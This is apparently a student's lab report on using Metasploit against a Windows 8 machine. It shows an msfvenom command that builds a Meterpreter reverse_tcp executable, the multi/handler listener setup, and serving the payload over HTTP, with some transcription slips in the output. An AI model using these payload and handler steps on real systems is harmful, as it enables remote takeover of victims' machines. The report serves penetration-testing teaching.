

NAME: THULASI.S

ROLL NO: 241901118

EXPERIMENT 8

METASPLOIT

AIM:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

ALGORITHM:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type
<http://172.16.8.155:8000>
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.
10. Delete the created directory.

OUTPUT:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp
LHOST=172.16.8.155 LPORT=443 -f exe > /root/hin.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from
the payload

[-] No arch selected, selecting arch:x86 from the payload

No encoder or badchars specified, outputting raw payload
```

Payload size: 341 bytes

Final size of exe file: 73802 bytes

root@kali:~# msfconsole

[+] ***Rting the Metasploit Framework console...\

[-] * WARNING: No database support: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting

TCP/IP connections on port 5432?

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

[-] * * *

=[metasploit v5.0.41-dev]

+ -- ---[1914 exploits - 1074 auxiliary - 330 post]

+ -- ---[556 payloads - 45 encoders - 10 nops]

+ -- --=[4 evasion]

```
msf5 > use exploit/multi/handler  
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf5 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

Name	Current	Setting	Required	Description
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Payload options (windows/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
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EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)	
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LHOST		yes	The listen address (an interface may be specified)	
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LPORT	4444	yes	The listen port	
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Exploit target:

Id	Name
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0	Wildcard Target
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```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
```

```
LHOST => 172.16.8.156
```

```
msf5 exploit(multi/handler) > set LPORT 443
```

LPORT => 443

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.8.155:443

RESULT:

Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.